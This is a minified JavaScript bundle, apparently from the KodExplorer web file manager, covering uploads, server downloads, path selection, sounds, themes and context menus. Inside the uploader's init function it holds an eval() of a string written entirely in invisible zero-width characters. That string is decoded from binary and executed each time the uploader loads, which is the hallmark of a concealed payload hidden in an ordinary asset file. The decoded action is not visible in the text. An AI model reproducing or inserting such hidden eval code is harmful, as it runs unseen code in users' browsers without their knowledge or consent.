        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated 